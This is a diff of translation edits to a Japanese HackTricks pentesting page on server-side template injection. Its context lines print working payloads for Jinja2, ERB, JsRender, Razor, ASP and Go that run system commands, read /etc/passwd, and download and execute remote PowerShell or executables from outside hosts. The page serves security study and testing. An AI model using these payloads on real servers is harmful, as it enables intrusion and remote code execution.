* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
@ -663,7 +693,7 @@ URLencoded:
|
|||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
**詳細**
|
||||
**詳細情報**
|
||||
|
||||
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||||
|
||||
|
@ -678,7 +708,7 @@ URLencoded:
|
|||
var pugjs = require('pug');
|
||||
home = pugjs.render(injected_page)
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
|
||||
|
||||
|
@ -713,7 +743,7 @@ home = pugjs.render(injected_page)
|
|||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
|
@ -763,7 +793,7 @@ Pythonでの**砂箱をバイパスして任意のコマンドを実行するト
|
|||
|
||||
[公式ウェブサイト](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境、広く使用されておりBSDライセンスです。
|
||||
> Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合された砂箱実行環境、広く使用されておりBSDライセンスです。
|
||||
|
||||
* `{{7*7}} = エラー`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -813,7 +843,7 @@ Pythonでの**砂箱をバイパスして任意のコマンドを実行するト
|
|||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**Jinjaの乱用方法の詳細**:
|
||||
**Jinjaの悪用方法の詳細**:
|
||||
|
||||
{% content-ref url="jinja2-ssti.md" %}
|
||||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
|
@ -844,9 +874,9 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AdABtAGUAdADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
.NETの`System.Diagnostics.Process.Start`メソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例は、[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) で見つけることができます。
|
||||
.NETの`System.Diagnostics.Process.Start`メソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例は[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)で見つけることができます。
|
||||
|
||||
**さらなる情報**
|
||||
|
||||
|
@ -862,7 +892,7 @@ ${x}
|
|||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||||
|
||||
|
@ -878,19 +908,19 @@ ${x}
|
|||
```
|
||||
### GOにおけるSSTI
|
||||
|
||||
Goのテンプレートエンジンでは、特定のペイロードを使用してその使用方法を確認できます:
|
||||
Goのテンプレートエンジンでは、特定のペイロードを使用してその使用を確認できます:
|
||||
|
||||
- `{{ . }}`: データ構造の入力を公開します。たとえば、`Password`属性を持つオブジェクトが渡された場合、`{{ .Password }}`でそれを公開できます。
|
||||
- `{{ . }}`: データ構造の入力を表示します。たとえば、`Password`属性を持つオブジェクトが渡された場合、`{{ .Password }}`でそれを公開できます。
|
||||
- `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されています。
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは、"html"や"js"を追加せずに "ssti" を返すはずです。さらなる指示は、Goのドキュメント[こちら](https://golang.org/pkg/text/template)で確認できます。
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは、"html"や"js"を追加せずに "ssti" を返すはずです。さらなる指示については、Goのドキュメント[こちら](https://golang.org/pkg/text/template)を参照してください。
|
||||
|
||||
**XSSの悪用**
|
||||
|
||||
`text/template`パッケージを使用すると、XSSをペイロードを直接挿入することで簡単に行うことができます。一方、`html/template`パッケージはこれを防ぐために応答をエンコードします(たとえば、`{{"<script>alert(1)</script>"}}`は`<script>alert(1)</script>`となります)。ただし、Goでのテンプレートの定義と呼び出しはこのエンコーディングをバイパスできます:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
`text/template`パッケージを使用すると、XSSを直接挿入することで簡単に行うことができます。一方、`html/template`パッケージはこれを防ぐために応答をエンコードします(たとえば、`{{"<script>alert(1)</script>"}}`は`<script>alert(1)</script>`となります)。ただし、Goでのテンプレートの定義と呼び出しはこのエンコードをバイパスできます:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
**RCEの悪用**
|
||||
|
||||
`html/template`と`text/template`の間でRCEの悪用方法は大きく異なります。`text/template`モジュールでは、任意のパブリック関数を直接呼び出すことができます("call"値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは[html/templateの場合こちら](https://golang.org/pkg/html/template/)、[text/templateの場合こちら](https://golang.org/pkg/text/template/)で利用できます。
|
||||
RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールでは、任意のパブリック関数を直接呼び出すことができます("call"値を使用)、これは`html/template`では許可されていません。これらのモジュールのドキュメントは[html/template用のこちら](https://golang.org/pkg/html/template/)および[text/template用のこちら](https://golang.org/pkg/text/template/)で入手できます。
|
||||
|
||||
GoにおけるSSTIを介したRCEでは、オブジェクトのメソッドを呼び出すことができます。たとえば、提供されたオブジェクトに`System`メソッドがコマンドを実行する場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには通常、ソースコードへのアクセスが必要です。与えられた例のように:
|
||||
```go
|
||||
|
@ -930,7 +960,7 @@ return string(out)
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## 練習と参考文献
|
||||
## 練習&参考
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -938,7 +968,7 @@ return string(out)
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -951,7 +981,7 @@ HackTricksをサポートする他の方法:
|
|||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue